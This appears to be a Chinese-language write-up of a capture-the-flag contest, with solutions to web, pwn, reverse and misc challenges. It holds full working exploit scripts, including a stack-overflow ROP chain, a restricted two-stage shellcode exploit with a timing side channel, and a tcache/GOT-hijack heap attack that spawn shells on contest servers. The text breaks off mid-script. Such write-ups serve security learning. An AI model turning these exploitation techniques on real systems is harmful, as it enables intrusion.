if char.upper() == ch.upper() and char!=ch and char!=ch.upper():
print(char)
except ValueError:
# 某些 Unicode 码点无法转换为有效字符,跳过
pass

find_replacement_char('i')

只找到了i的替代字符ıs的替代字符ſ。输入用户名alıce,密码ſtart2024,登录成功!

再看看populate.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os

from app import Notes, app, db

with app.app_context():
db.create_all()
if not Notes.query.filter_by(type="notes").first():
db.session.add(Notes(title="Hello, world!", message="This is an example note."))
db.session.add(
Notes(
title="Where's flag?",
message="Flag is waiting for you inside secrets.",
)
)
if not Notes.query.filter_by(type="secrets").first():
db.session.add(
Notes(
title="Secret flag",
message=os.environ.get("FLAG", "fake{flag}"),
type="secrets",
)
)
db.session.commit()

也就是说“type=secrets”会给我们flag,但是在app.py里还有过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
type = request.args.get("type", "notes").strip()
if ("secrets" in type.lower() or "SECRETS" in type.upper()) and session.get(
"role"
) != "admin":
return render_template(
"index.html",
notes=[],
error="You are not admin. Only admin can view secre<u>ts</u>.",
)
q = db.session.query(Notes)
q = q.filter(Notes.type == type)
notes = q.all()
return render_template("index.html", notes=notes)

我们需要让and前面的逻辑表达式为否才能够不返回错误、获得flag。

因此要想查看flag,type的参数需要是secrets的变体,页面上给secrets的ts划了下划线,猜测是提示将这两个字符换成特殊字符。

打开Burp的intruder,payload选用simple list,从网上下载了一个特殊字符的列表来爆破ts

最后ts替换成ƾ时,response的length不一样,点进去看详情就能看到flag。

intruder

flag:

1
0ops{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}

PWN

Memo0

本题的漏洞点是整数溢出和栈溢出。但是用不到,只需要逆向出密码。

攻击流程如下:

首先要输入密码登录,密码通过一个加密算法后与J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd==对比,长得很像base64,但是用base64解码出来不对。把sub_12E9的加密函数丢给claude,直接逆出了密码。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def decode(encoded_data):
# 计算解码后的数据长度
length = len(encoded_data)
decoded_length = (length * 3) // 4
if encoded_data[-1] == '=':
decoded_length -= 1
if encoded_data[-2] == '=':
decoded_length -= 1

# 创建解码后的数据缓冲区
decoded = bytearray(decoded_length)

# 标准 Base64 字符映射表
base64_chars = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"

# 遍历编码数据并解码
for i in range(0, length, 4):
value = 0
for j in range(4):
if i + j < length:
char = encoded_data[i + j]
if char == '=':
value <<= 6 * (3 - j)
else:
value |= base64_chars.index(char) << 6 * (3 - j)

# 将 24 位值拆分成 3 个字节并写入解码后的数据
decoded_pos = i // 4 * 3
decoded[decoded_pos] = (value >> 16) & 0xFF
if decoded_pos + 1 < decoded_length:
decoded[decoded_pos + 1] = (value >> 8) & 0xFF
if decoded_pos + 2 < decoded_length:
decoded[decoded_pos + 2] = value & 0xFF

return decoded.decode('latin-1')

print(decode('J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd=='))
# CTF_is_interesting_isn0t_itÀ

但是好像有点问题,将À改成?就对了。

一开始没有在本地新建flag文件,ida里面还把win函数看漏了。。。导致还在继续用栈溢出去劫持control flow调用win,其实逆向出密码就可以得到flag。

完整exp:

1
2
3
4
5
nc 111.186.57.85 40310
===================Memo Login===================
Please enter your password: CTF_is_interesting_isn0t_it?
Login Success!
0ops{U_r_th3_ma5ter_0f_ba5e64}

flag:

1
0ops{U_r_th3_ma5ter_0f_ba5e64}

Memo1

本题的漏洞点是整数溢出和栈溢出。

攻击流程如下:

首先checksec:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'

保护全开。然后看main函数,发现供用户输入的字符串在栈上,大小是264字节,乍一看用户也只能输入0x100即256字节,很安全。但是在实现edit功能的函数里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
lea     rax, aLld       ; "%lld"
mov rdi, rax
mov eax, 0
call ___isoc99_scanf
mov edx, [rbp+var_1C]
mov rax, [rbp+var_10]
cmp rdx, rax
jle short loc_1873
mov rax, [rbp+var_10]
mov edx, eax
mov rax, [rbp+var_18]
mov esi, edx
mov rdi, rax
call sub_170E

可以发现,允许用户输入的是有符号数,而比较的时候却是根据无符号数进行比较,然后在读取用户输入的时候又使用其低32位作为允许输入的长度,因此会出现类似0xffffffff00000109 < 0x8的情况,却允许用户输入0x109个字节。

为了能够输入我们想要的长度,需要将0xffffffff00000109这样的数转换成相应的负数:

1
2
def convert_to_signed(num):
return (-1)*(0xffffffff-num)-1

至此,我们总结一下能够利用的漏洞:

可以利用整数溢出在栈上写非常长的内容,因此可以利用栈溢出劫持程序控制流。

但是由于保护全开且没有win函数,因此我们需要先leak canary,然后leak libc,最后在栈上布局 ROP chain 来 get shell。

我们先在sub_170e函数(读取用户输入的函数)处下一个断点,观察栈的布局。

stack

发现canary距离用户输入的起始位置为0x108字节,因此我们需要覆盖用户输入的前0x109字节为非0字符,然后调用show就可以连带canary一起输出出来。而读取用户输入的sub_170e函数是一个带0截断的函数:当我们输入\n会被替换成\x00,如果长度参数正好等于我们输入的长度,就不会添0。因此我们需要让其长度参数恰好等于0x109,也就是在调用edit时,输入的长度为convert_to_signed(0x109)。然后输入0x109个A,再调用show,最后7位就是canary的高7位。

用户输入的起始位置加上0x118个字节是libc的地址,与基地址的偏移是0x29d90,使用和leak canary几乎一样的方法可以leak libc。

最后就是在栈上布局 rop chain 了。因为有libc,因此可以直接用libc的gadgets,使用pwntools构造一个execve(‘/bin/sh’,0,0)的Rop,在栈上canary的位置填入canary,返回地址处布局rop chain,即可得到shell。

1
2
3
4
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload = b'A' * 0x108 + p64(canary) + b'B' * 0x8 + rop.chain()
edit(convert_to_signed(len(payload)), payload)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

binary = context.binary = ELF('./memo1')
libc = binary.libc

# p = process(binary.path)
p = remote('111.186.57.85', 40311)

password = b'CTF_is_interesting_isn0t_it?'
p.recvuntil(b'Please enter your password: ')
p.sendline(password)
# then it is a overflow

def add(payload):
p.sendlineafter(b'Your choice:', b'1')
p.sendlineafter(b'What do you want to write in the memo:', payload)

def show():
p.sendlineafter(b'Your choice:', b'2')
p.recvuntil(b'Content:\n')
return p.recvline()[:-1]

def edit(length, payload):
p.sendlineafter(b'Your choice:', b'3')
p.sendlineafter(b'How many characters do you want to change:', str(length).encode())
p.send(payload)

def get_flag():
p.sendlineafter(b'Your choice:', b'114514')
p.interactive()

# beause there is a jle instruction, so we can use negative number to bypass it
def convert_to_signed(num):
return (-1)*(0xffffffff-num)-1

main_offset = 0x1938
libc_offset = 0x29d90

### first leak canary
add(b'A' * 0x8)
edit(convert_to_signed(0x109), b'A'*0x109)
response = show()
canary = response[0x109:0x109+7].rjust(8, b'\x00')
canary = u64(canary)
info(f'[LEAK]: canary: {hex(canary)}')

### leak libc address
payload = b'A' * 0x118
edit(convert_to_signed(len(payload)), payload)
response = show()
libc_leak = response[0x118:0x118+6].ljust(8, b'\x00')
libc_leak = u64(libc_leak)
info(f'[LEAK]: libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'[LEAK & CALC]: libc_base: {hex(libc.address)}')

### leak pie address
# payload = b'A' * 0x128
# edit(convert_to_signed(len(payload)), payload)
# response = show()
# main_addr = response[0x128:0x128+6].ljust(8, b'\x00')
# main_addr = u64(main_addr)
# elf.address = main_addr - main_offset
# info(f'[LEAK & CALC]: pie_base: {hex(elf.address)}')

# gdb.attach(p, '''
# ''')

### no win_func now, wo we use rop
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload = b'A' * 0x108 + p64(canary) + b'B' * 0x8 + rop.chain()
edit(convert_to_signed(len(payload)), payload)

get_flag()

flag:

1
0ops{5t4ck_0v3rfl0w_1s_d4ng3r0u5_233}

Shellcode

本题的考察点正如题名是shellcode,但是seccomp只允许了open和read,没有write,因此需要利用循环来实现类似侧信道攻击。另外,对shellcode的字节做了限制:

  1. 偶数索引处的字节必须是偶数,奇数索引处的字节必须是奇数

    1
    2
    3
    4
    5
    for ( i = 0; i < v5; ++i )
    {
    if ( (char)(*((char *)buf + i) % 2) != i % 2 )
    return 0xFFFFFFFFLL;
    }
  2. 大于0x80的奇数不能用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mov     rax, [rbp+buf]
    add rax, rdx
    movzx eax, byte ptr [rax]
    mov edx, eax
    sar dl, 7
    shr dl, 7
    add eax, edx
    and eax, 1
    sub eax, edx
    movsx ecx, al

    这段实际上是将shellcode的字节作为一字节的有符号数来对2取模,因此类似于0x81这样的大于0x80的奇数模2后的结果是-1而不是1,但是对索引的取模是看作无符号数,因此奇数索引处取模是1而不等于-1。这也就代表着大于0x80的奇数不能出现在shellcode中,这点非常坑。。。比前一点限制花了我更多时间。因为这个限制相当于把一般的jmp长跳转、call、ret、syscall全都禁止掉了。

    思路:

    由于我们还要进行侧信道攻击,不可能每爆破一个字节都构造一个能满足要求的shellcode,因此考虑分两个阶段:

    • 阶段1:调用read函数,rdi设置一阶段shellcode的起始位置,并将返回地址设置为这个起始地址
    • 阶段2:输入二阶段进行侧信道攻击的shellcode,read将返回到我们输入的这个shellcode

    每个二阶段shellcode爆破一个字节:将[flag_addr+i]与每个可见字符作比较,相等时进入死循环,通过对时间的测量就能知道flag的每个字节是哪个字符值。

    开凑:

    先凑一阶段的shellcode。由于限制非常多,因此考虑尽量利用栈上已有的内容和寄存器中已有的内容(pop和push某个寄存器都是一字节的指令,不同寄存器奇偶性质不同,很容易满足限制的要求)。

    stack

    stack

    rsp的最顶端是返回地址即main+0xc4,我们将这个地址pop到rax,然后对rax进行xor操作,可以得到read@plt,方便后续调用read库函数。有了这个思路,我们就需要布置好read的参数。rdi现在恰好是0,符合我们的要求,不去修改。rsi也是输入的起始地址不需要修改。rdx需要修改为我们想要输入的长度,经过观察rsp+0x8处的低8位正好是我们一阶段输入的长度,因此我们只需要将rsp+0x8的低8位值放到rdx中去即可:

    1
    2
    3
    4
    5
    6
    7
    8
    pop rax
    pop rbx
    nop
    xor edx, ebx
    pop rbx
    xor ax, 0x03e6
    xor ax, 0x100
    sub al, 1

    这样就已经将read@plt放到了rax里面,并布置好了rdi, rsi 和 rdx。接下来的问题就是如何调用rax中存储的函数。已知jmp的长跳转、call、ret、syscall都不符合这道题的过滤要求。怎么办?想起之前用ROPgadget的时候看到ret{num}这种形式的指令,去搜了一下,发现是ret之后,令rsp增加num字节。字节码是:b'\xc2\x01\x00'正好满足要求。但是又出现一个新的问题:

    栈指针增长奇数个字节后,我们就无法控制返回地址了。

    因此想到,如果在ret {num}之前先让栈增长或者减少奇数字节,而且这个命令能够通过过滤,就能解决这个问题。搜索发现有一个enter指令:

    enter指令的完整格式是:

    1
    enter bytes, level

    其中:

    1. bytes是一个立即数,表示当前函数需要在栈上分配的空间大小(以字节为单位)。这个值通常就是函数内局部变量所需的大小。
    2. level是另一个立即数,表示嵌套函数调用的层数。通常这个值为 0。

    我这里用一个enter 0x1, 0x3,level是我随便指定的,在gdb里面看效果:

    before_enter

    after_enter
    栈指针减少了0x21字节,那么我们再用ret 9就可以让栈重新和8字节对齐,在那之前先把read@plt的地址push入栈,ret的时候才能返回到read,等后面栈指针增加和8字节对齐的时候可以返回到我们在enter之前push入栈的shellcode地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    nop
    push rbx
    push rax
    push rbx
    push rax
    push rbx
    enter 0x1, 0x3
    nop
    pop rbx
    push rax
    push rbx
    nop
    pop rbx
    ret 0x0009
    pop rbx

    至此第一阶段就构造完成了,第二阶段的shellcode就是open(‘flag’, 0)然后read第i个索引处的字节,与各个可见字符进行比较,如果相等就死循环,通过时间判断是否命中,逐字节爆破到}为止,完整exp如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    # no write for us
    # defeat seccomp reference: https://tttang.com/archive/1447/#toc_wirte
    # by pass shellcode check reference:
    # - https://www.roderickchan.cn/zh-cn/2022-04-30-angstromctf-pwn/
    # - https://ctftime.org/writeup/33656
    # - https://hackmd.io/@DJRcJnpzRDK3J_8-dhv_dA/rycDEyFSq#parity
    # - https://www.aynakeya.com/ctf-writeup/2022/angstrom/pwn/parity/

    from pwn import *

    binary = context.binary = ELF('./shellcode')
    # context.log_level = 'critical'

    shellcode1_part1 = asm('''
    pop rax
    pop rbx
    nop
    xor edx, ebx
    pop rbx
    xor ax, 0x03e6
    xor ax, 0x100
    sub al, 1
    nop
    push rbx
    push rax
    push rbx
    push rax
    ''')

    shellcode1_part2 = asm('''
    push rbx
    enter 0x1, 0x3
    nop
    pop rbx
    push rax
    push rbx
    nop
    pop rbx
    ret 0x0009
    pop rbx
    ''')

    shellcode1 = shellcode1_part1 + shellcode1_part2
    lenth = len(shellcode1)
    padding_times = int((0x200 - lenth) / 2)
    padding = b'\x90\x61' * padding_times
    shellcode1 = shellcode1 + padding

    for i, c in enumerate(shellcode1):
    # if c >= 0b10000000:
    # log.info("bad byte %s at index %d" % (hex(c), i))
    # log.error(shellcode1)
    if i & 1 != c & 1:
    log.info("bad byte %s at index %d" % (hex(c), i))
    log.error(shellcode1)
    if c & 1 == 1 and c > 0x80:
    log.info("negative byte %s at index %d" % (hex(c), i))
    log.error(shellcode1)

    # we need brute force every byte of flag
    # the seach space is 0x20 ~ 0x7e
    search_space = [i for i in range(0x20, 0x7e)]

    flag_probable_len = 0x40
    flag = ''
    for i in range(flag_probable_len):
    for ch in search_space:
    # p = process(binary.path)
    p = remote('111.186.57.85',40245)
    p.recvuntil(b'Please input your shellcode: \n')
    ### stage1: call a read syscall to read shellcode
    p.send(shellcode1)
    ### stage2: fuck yeah! we can send shellcode without limitation now
    # but we have no write
    # so we have to use ways like side channel
    shellcode2 = asm(f'''
    lea rdi, [rip+flag]
    mov rsi, 0
    mov rax, 2
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x100
    mov rax, 0
    syscall
    loop:
    xor rax, rax
    xor rbx, rbx
    mov al, byte ptr[rsp+{i}]
    mov bl, {ch}
    cmp al, bl
    je loop
    flag:
    .string "./flag"
    ''')
    shellcode2 += b'\x90' * (0x200 - len(shellcode2))
    p.send(shellcode2)
    # learned from changcheng cup...
    p.shutdown('send')

    # now if ch is the right byte, the program will be in a dead loop
    # otherwise the program will die
    sleep(1)
    # if p.poll() == None:
    # flag += chr(ch)
    # print("flag is now: ", flag)
    # p.close()
    # break
    # else:
    # p.close()
    # continue
    try:
    detection = p.fileno()
    p.recv(timeout=0.1)
    flag += chr(ch)
    print("flag is now: ", flag)
    p.close()
    break
    except:
    p.close()
    continue

    if flag[:-1] == '}':
    break

    print(flag)

    flag:

    1
    0ops{practice_handwrite_shellcode}

flat

本题的考察点是deflat去混淆和tcache劫持。

其实题目对deflat的提示很明显,但是我一开始没往这方面向,直到出flag才知道要用deflat,一开始是自己手动去混淆的:

先看明白了每种操作对应一个opcode,然后找==,然后根据i=xxxxx去找casexxxxx,有if的就猜测可能是对什么进行判断(比如索引、size),然后选一个i去找case……最后硬是把程序的主要逻辑逆向出来了:

  • 48879: 退出程序

  • 4112:堆块写,但是最后一位由程序置零(edit_0_end)

    e.g. edit_0_end(index, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度实际上最多比size少1,最后一字节会被置0

  • 768: malloc

    e.g. malloc(index, size, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度实际上最多比size少1,最后一字节会被置0

  • 2989: 堆块写(edit)

    e.g. edit(index, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度恰好等于size

  • 4919: free

    e.g.free(index)

    会检查0<=inex<31,检查address处是否已经为空,然后将对应address和size都置零。

  • 57005: 堆块读(puts)

    会对index所对应位置的size和address做非空检查,且0<=index<31,然后puts堆块内容

但是这里的0截断并没有off-by-null漏洞,在how2heap找了半天找不到利用方法。于是在gdb里先试着:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

binary = context.binary = ELF('./flat')
libc = binary.libc

p = binary.process()

def malloc(index, size, data):
p.sendline(b'768')
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.sendline(data)

def free(index):
p.sendline(b'4919')
p.sendline(str(index).encode())

def edit(index, data):
p.sendline(b'2989')
p.sendline(str(index).encode())
p.send(data)

def edit_0_end(index, data):
p.sendline(b'4112')
p.sendline(str(index).encode())
p.sendline(data)

def puts(index):
p.sendline(b'57005')
p.sendline(str(index).encode())
return p.recvline().strip()

malloc(0,0x100, b'a')
edit(0, cyclic(0x100))
# gdb.attach(p)
malloc(1,0x100, b'b')
edit(1, cyclic(0x100))

发现mallo个两次0x100大小的堆块程序就退出了,于是在第一次后面把gdb附上去:

PoC

十分离谱……我到现在也没弄明白这个漏洞是哪里来的。

换成0x80及以下似乎就没这种情况,0x90的时候链表有两个值,分别是我们输入的0x80处和0x88处,也就是说我们在0x80和0x88处写上合法的地址,下一次malloc相应大小的chunk就能控制我们输入的地址。

checksec一下:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'

那么我们现在需要做的就很清晰:

  1. leak libc
  2. got hijacking
  3. get shell

首先,准备好用于leak和劫持的堆块,以及写有/bin/sh的堆块;然后malloc一个可用大小为0x90的堆块,malloc一个可用大小为0x330(实际大小为0x340)的堆块并free掉,使得tcache的0x340大小链表有一项。然后往0x90大小的堆块里面填满heap_manager地址(也就是该程序用来管理堆块的区域起始地址)。这样当我们再malloc一个可用大小为0x330到0x338大小的堆块时,就会返回heap_manager的地址。我们往这里面填入0x1000和free_got的地址,这样程序自定义的堆管理器就会认为index0处之前malloc了一个可用大小为0x1000的堆块,且位于free_got。因此我们这时再puts(0)就不会报错,也就能够leak出libc中free的地址,也就知道了libc的基地址。然后利用这个基地址知道system的地址,往0写入这个地址,也就将free劫持到system。最后我们free(1),1是我们之前放/bin/sh的地方,此时执行system('/bin/sh'),得到shell。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

binary = context.binary = ELF('./flat')
libc = binary.libc

# p = binary.process()
p = remote('111.186.57.85', 40246)

def malloc(index, size, data):
p.sendline(b'768')
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.sendline(data)

def free(index):
p.sendline(b'4919')
p.sendline(str(index).encode())

def edit(index, data):
p.sendline(b'2989')
p.sendline(str(index).encode())
p.send(data)

def edit_0_end(index, data):
p.sendline(b'4112')
p.sendline(str(index).encode())
p.sendline(data)

def puts(index):
p.sendline(b'57005')
p.sendline(str(index).encode())
return p.recvline().strip()

free_got = binary.got['free']
heap_manager = 0x4060B0

# we will use this to get libc leak and control free_got
malloc(0,0x500, b'a')
malloc(1,0x20,b'/bin/sh\x00')
free(0)

# 2 is used to get control of tcache
malloc(2,0x90, b'b')
# 3 is used to make a tcache bin
malloc(3,0x330, b'c')
free(3)
gdb.attach(p)
edit(2,p64(heap_manager)*(0x90//8))
# now tcace bin is
# 0x340 [ 1]: 0x4060b0 ◂— 0x0
# 0x350 [ 0]: 0x4060b0 ◂— ...
payload=p64(0x1000)+p32(free_got)
# now we control the heap_manager
# we make index 0 's size 0x1000
# and we make index 1 's pointer to free_got
malloc(3,0x330,payload)
# this will puts what is on the free_got
response = puts(0)
libc_leak = response[-6:].ljust(8, b'\x00')
libc.address = u64(libc_leak) - libc.sym['free']
info(f'[LEAK&CALC]: libc_base: {hex(libc.address)}')
system = libc.sym['system']
# we overwrite free_got with system
edit_0_end(0,p64(system))
# 1's pointer point to /bin/sh
free(1)
p.interactive()

flag:

1
0ops{learning_deflat_trick_to_defeat_ollvm}

REVERSE

Peer-Trace

这道题的考察点是ptrace和strace的用法。

peer程序会调用puppet程序,并使用ptrace来在不同运行时刻监视peer程序并修改其内存/寄存器的值。

先从网上学习了下ptrace的用法,主要关注PTRACE_POKEDATA, PTRACE_SETREGS因为这两个会修改被监视子程序的内存/寄存器。

puppet程序的逻辑是读取一个输入,长度需要为48字节,然后逐字节与0x28异或,最后与ct区域的48字节做比较。

建议使用strace观察程序运行过程中ptrace相关内容:

1
strace ./peer

peer程序的主要逻辑可以通过观察PTRACE_POKEDATA, PTRACE_SETREGS和相应的ida伪代码得到:

  1. 对输入的48字节做下面的逻辑:

    • 分为8组,对每组:
    • 交换0,5
    • 交换1,7
    • 交换2,6
    • *((_BYTE *)v25 + j) -= j + i,其中j是组内索引,i是组号,v25是每组的起始地址
    • 交换3,4
  2. 在异或0x28后,劫持程序,对每个字节做如下修改:

    1
    2
    3
    4
    5
    6
    v25[0] = 0xA39C3E6994313F40LL;
    v25[1] = 0x17872470565B9B60LL;
    v25[2] = 0x11A918AABA97CA68LL;
    v25[3] = 0xB8F1B0AB9B3DD3B0LL;
    v25[4] = 0x488749FB6A1835E4LL;
    v25[5] = 0x82926F78FE98158LL;

    每个字节分别与peer中此时的v25中对应字节相加,舍去进位。

最后再与puppet程序中ct区域的48字节作比较,需要相等。整个过程都是相对简单的可逆过程,将算法反过来即可。完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

v25 = p64(0xA39C3E6994313F40) + p64(0x17872470565B9B60) + p64(0x11A918AABA97CA68) + p64(0xB8F1B0AB9B3DD3B0) + p64(0x488749FB6A1835E4) + p64(0x82926F78FE98158)
ct = p64(0xe3de41c1f389569c) + p64(0x3500a2b1a46c9bd1) + p64(0x890a29f3d010d481) + p64(0x200f1fca08a04513) + p64(0xc3ab5b0381564f00) + p64(0x08953b09bbf7fdc7)
# tmp1 is the bytearray after xored
tmp1 = bytearray()
# each byte in tmp is the result of ct[i] - v25[i]
for i in range(48):
if ct[i] < v25[i]:
tmp1.append(ct[i] + 256 - v25[i])
else:
tmp1.append(ct[i] - v25[i])
# tmp1 is the bytearray before xored with 0x28
for i in range(48):
tmp1[i] ^= 0x28
print(tmp1)

def reverse(cypher):
# group cypher into 8 bytes
cypher = [cypher[i:i+8] for i in range(0, len(cypher), 8)]
# for each group, we decrypt it
for i in range(len(cypher)):
# swap BYTE3 and BYTE4
tmp = cypher[i][3]
cypher[i][3] = cypher[i][4]
cypher[i][4] = tmp
for j in range(8):
cypher[i][j] += j + i*8
# swap BYTE2 and BYTE6
tmp = cypher[i][2]
cypher[i][2] = cypher[i][6]
cypher[i][6] = tmp
# swap BYTE1 and BYTE7
tmp = cypher[i][1]
cypher[i][1] = cypher[i][7]
cypher[i][7] = tmp
# swap BYTE0 and BYTE5
tmp = cypher[i][0]
cypher[i][0] = cypher[i][5]
cypher[i][5] = tmp

# get the result
result = b''
for i in range(len(cypher)):
result += bytes(cypher[i])
print(result)


reverse(tmp1)

flag:

1
0ops{tr@cE_traC1Ng_tRAc3d_TRaces_z2CcT8SjWre0oP}

MISC

QrCode2

本题考查的是二维码的结构和标准qrazybox的使用

之前在做hackergame还是geekgame的时候碰到一道华维码,是华容道和二维码还原的结合。题目没做出来,但是在群里看到个二维码仙人,整天在群里发他还原二维码的过程。这下真用上了,快说谢谢二维码仙人。

贴一个二维码仙人的二维码教程

要用到的工具是qrazybox

由于定位块缺失,我先直接根据图片把已知的黑色白色都填充上,然后一个一个试纠错等级,发现只有M0是符合的,然后用qrazybox的tools把padding bits补上:

复原

但是缺失的内容实在太多了,无论是直接提取还是用Reed-Solomon Decoder都得不到flag,但是通过Data Sequence Analysis可以看到message data有一个},而题目已经告诉我们这题的flag格式为flag{.*},根据二维码格式,我们将前5位message data修改位flag{,这时候再用Reed-Solomon Decoder已经可以得到flag了。

修改数据后的结果:

final

flag:

1
flag{D4+4_2e(0\/3R_v_!5_S0_3a5_v}

WhereIsMyFlag

本题考察的是视力和对数据的处理能力。

在github的commit记录最后可以看到:

1
import gzip; import base64; gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

运行这段代码发现处理后的数据还是1f8b开头,推断仍然是gzip。直接写到文件里去:

1
2
3
4
5
6
import gzip
import base64
x = gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

with open("out.gz", "wb+") as f:
f.write(x)

然后再终端反复解压缩,得到二进制文件后strings一下:

1
2
3
4
gzip -d out.gz
mv out out.gz
gzip -d out.gz
strings ./out

就可以得到flag:

1
flag{760671da3ca23cae060262190c01e575873c72e6}

RealOrNot

本题考查的是写脚本的能力,大概。

pow challenge 应该是区块链中的概念?但是和这道题关系不大,这题的pow challenge直接让AI就能写,要花太长时间的challenge就跳过好了。

给的server.py并不会输出第几张图片判断错了,但是实际交互时显示了。而且在我把所有图片都无重复地保存下来后发现总共只有100张图片,服务器会每次选20张让我们判断真伪,因此我们可以先将所有图片都随便打上标签,然后根据标签去向服务器发送答案,服务器每次都会给我们纠错一张,我们根据错误信息修改对应图片的标签,很快就能将所有图片的标签都修改正确。这时无论服务器选哪20张我们都能给出正确的答案。

保存图片的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib
import base64
import os
import uuid
from pwn import *

def verify_pow_solution(challenge, solution):
prefix = "0000"
guess = solution + challenge
guess_hash = hashlib.sha256(guess.encode()).hexdigest()
return guess_hash.startswith(prefix)

